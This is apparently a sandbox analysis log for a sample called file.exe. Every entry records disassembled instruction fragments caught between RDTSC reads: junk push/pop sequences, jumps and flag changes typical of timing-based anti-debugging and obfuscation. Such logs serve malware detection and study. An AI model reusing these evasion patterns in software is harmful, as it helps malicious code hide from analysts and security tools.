Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD246 second address: 11FD24A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD24A second address: 11FD257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ebx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FFB76 second address: 11FFB7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FFB7A second address: 11FFB80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FFB80 second address: 11FFB86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FFD7D second address: 11FFD82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FFD82 second address: 11FFDC7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F227C74F4A8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edx, dword ptr [ebp+122D24D1h] 0x00000015 sub dword ptr [ebp+122D1A22h], ebx 0x0000001b push 00000004h 0x0000001d call 00007F227C74F4B3h 0x00000022 push eax 0x00000023 mov dx, ax 0x00000026 pop edx 0x00000027 pop edx 0x00000028 push 4A57C045h 0x0000002d push eax 0x0000002e push edx 0x0000002f js 00007F227C74F4A8h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201A38 second address: 1201A3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201A3C second address: 1201A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F227C74F4BCh 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F227C74F4B4h 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop ecx 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jnl 00007F227C74F4ACh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201632 second address: 1201636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12035AC second address: 12035B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12035B2 second address: 12035D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F227C7FC3E3h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F227C7FC3DCh 0x00000013 js 00007F227C7FC3D6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552057E second address: 552063A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F227C74F4AEh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov si, bx 0x00000014 mov si, dx 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 jmp 00007F227C74F4AFh 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 jmp 00007F227C74F4B4h 0x00000026 pushfd 0x00000027 jmp 00007F227C74F4B2h 0x0000002c and esi, 66671728h 0x00000032 jmp 00007F227C74F4ABh 0x00000037 popfd 0x00000038 popad 0x00000039 pop ebp 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F227C74F4ABh 0x00000043 adc eax, 2EAB606Eh 0x00000049 jmp 00007F227C74F4B9h 0x0000004e popfd 0x0000004f call 00007F227C74F4B0h 0x00000054 pop ecx 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552063A second address: 5520640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520640 second address: 5520644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520697 second address: 552069B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552069B second address: 55206CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F227C74F4AEh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55206CB second address: 55206CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55206CF second address: 55206D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55206D5 second address: 55206DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55206DB second address: 55206DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55206DF second address: 5520706 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F227C7FC3DDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520706 second address: 5520716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F227C74F4ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11158C5 second address: 11158CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530008 second address: 553000E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553000E second address: 553002A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F227C7FC3E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553002A second address: 553002E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553002E second address: 553004C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F227C7FC3E3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553004C second address: 5530071 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F227C74F4B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530071 second address: 5530077 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530077 second address: 5530093 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov esi, 0733E2A3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530093 second address: 55300D4 instructions: 0x00000000 rdtsc 0x00000002 call 00007F227C7FC3E8h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push dword ptr [ebp+04h] 0x0000000e jmp 00007F227C7FC3DCh 0x00000013 push dword ptr [ebp+0Ch] 0x00000016 pushad 0x00000017 mov cx, 37ADh 0x0000001b call 00007F227C7FC3DAh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530111 second address: 553011B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 14DEF9A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553011B second address: 5530137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F227C7FC3E2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530137 second address: 5530008 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c nop 0x0000000d mov dword ptr [00F570C0h], eax 0x00000012 push 00CA1310h 0x00000017 mov ecx, dword ptr [00F570A8h] 0x0000001d push ecx 0x0000001e call 00007F2280FF53CBh 0x00000023 mov edi, edi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540372 second address: 5540378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540378 second address: 554037C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554037C second address: 5540391 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dh, ah 0x00000010 mov dx, 5CC8h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540391 second address: 5540411 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F227C74F4ACh 0x00000009 xor esi, 106987F8h 0x0000000f jmp 00007F227C74F4ABh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b mov si, bx 0x0000001e mov edi, 2E28C272h 0x00000023 popad 0x00000024 push ebx 0x00000025 pushad 0x00000026 mov edx, ecx 0x00000028 jmp 00007F227C74F4B0h 0x0000002d popad 0x0000002e mov dword ptr [esp], ecx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F227C74F4AEh 0x00000038 or esi, 4263ECB8h 0x0000003e jmp 00007F227C74F4ABh 0x00000043 popfd 0x00000044 mov dx, si 0x00000047 popad 0x00000048 xchg eax, ecx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F227C74F4ACh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540411 second address: 5540415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540415 second address: 554041B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554041B second address: 5540421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540421 second address: 5540425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540425 second address: 554045D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F227C7FC3DFh 0x0000000e xchg eax, ecx 0x0000000f jmp 00007F227C7FC3E6h 0x00000014 push dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554045D second address: 5540461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540461 second address: 554047E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554047E second address: 5540484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540484 second address: 5540488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540488 second address: 55404C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-08h] 0x0000000b jmp 00007F227C74F4AFh 0x00000010 nop 0x00000011 pushad 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop edi 0x00000015 jmp 00007F227C74F4AEh 0x0000001a popad 0x0000001b mov edi, esi 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F227C74F4AAh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55404C6 second address: 55404CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55404CC second address: 55404D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55404D0 second address: 55404D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554057F second address: 5540583 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540583 second address: 5540589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540589 second address: 554059A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F227C74F4ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554059A second address: 55405FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F227C7FC3DAh 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F227C7FC3E0h 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F227C7FC3DEh 0x0000001f adc eax, 4E4C0938h 0x00000025 jmp 00007F227C7FC3DBh 0x0000002a popfd 0x0000002b mov dx, cx 0x0000002e popad 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F227C7FC3E1h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55405FD second address: 55406BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b pushad 0x0000000c pushad 0x0000000d mov ch, 89h 0x0000000f jmp 00007F227C74F4AFh 0x00000014 popad 0x00000015 mov ah, 07h 0x00000017 popad 0x00000018 push dword ptr [ebp+1Ch] 0x0000001b jmp 00007F227C74F4ABh 0x00000020 push dword ptr [ebp+18h] 0x00000023 jmp 00007F227C74F4B6h 0x00000028 push dword ptr [ebp+14h] 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F227C74F4AEh 0x00000032 or al, FFFFFFB8h 0x00000035 jmp 00007F227C74F4ABh 0x0000003a popfd 0x0000003b jmp 00007F227C74F4B8h 0x00000040 popad 0x00000041 push dword ptr [ebp+10h] 0x00000044 jmp 00007F227C74F4B0h 0x00000049 push dword ptr [ebp+0Ch] 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F227C74F4B7h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55406BC second address: 55406C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55208CD second address: 5520916 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F227C74F4AFh 0x00000008 or ch, 0000007Eh 0x0000000b jmp 00007F227C74F4B9h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov bx, ax 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F227C74F4AFh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520916 second address: 552091C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552091C second address: 5520975 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F227C74F4B0h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ch, dl 0x00000016 pushfd 0x00000017 jmp 00007F227C74F4B6h 0x0000001c or si, 3B68h 0x00000021 jmp 00007F227C74F4ABh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520975 second address: 552098D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F227C7FC3E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552098D second address: 552099D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movzx eax, bx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552099D second address: 55209A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55209A3 second address: 55209A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520A4C second address: 5520A52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520A52 second address: 5520A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520A56 second address: 5520A93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [ebp-04h], 00000000h 0x0000000c jmp 00007F227C7FC3E7h 0x00000011 mov edx, dword ptr [ebp+0Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F227C7FC3E5h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520A93 second address: 5520AA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F227C74F4ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520AA3 second address: 5520ADD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, edx 0x0000000a jmp 00007F227C7FC3E7h 0x0000000f mov al, byte ptr [edx] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F227C7FC3E5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520ADD second address: 5520B10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F227C74F4B7h 0x00000008 mov ebx, ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d inc edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F227C74F4B1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520B10 second address: 5520B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520B16 second address: 5520ADD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d jmp 00007F227C74F4B6h 0x00000012 jne 00007F227C74F41Dh 0x00000018 mov al, byte ptr [edx] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F227C74F4B5h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520B78 second address: 5520B7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520B7E second address: 5520B84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520B84 second address: 5520B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520B88 second address: 5520B9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ah, 69h 0x00000010 push ebx 0x00000011 pop ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520B9B second address: 5520C04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F227C7FC3DEh 0x00000009 and cx, 3F08h 0x0000000e jmp 00007F227C7FC3DBh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F227C7FC3E8h 0x0000001a and eax, 5BEDE168h 0x00000020 jmp 00007F227C7FC3DBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 dec edi 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F227C7FC3E5h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520C04 second address: 5520C47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 7212h 0x00000007 pushfd 0x00000008 jmp 00007F227C74F4B3h 0x0000000d sbb cl, 0000000Eh 0x00000010 jmp 00007F227C74F4B9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 lea ebx, dword ptr [edi+01h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520C47 second address: 5520C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, si 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520C4F second address: 5520C57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520C57 second address: 5520CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov al, byte ptr [edi+01h] 0x0000000a pushad 0x0000000b pushad 0x0000000c movzx ecx, dx 0x0000000f pushfd 0x00000010 jmp 00007F227C7FC3E7h 0x00000015 xor eax, 4E7EBD7Eh 0x0000001b jmp 00007F227C7FC3E9h 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520CA3 second address: 5520CD4 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 inc edi 0x00000009 jmp 00007F227C74F4AFh 0x0000000e test al, al 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F227C74F4B5h 0x00000017 rdtsc
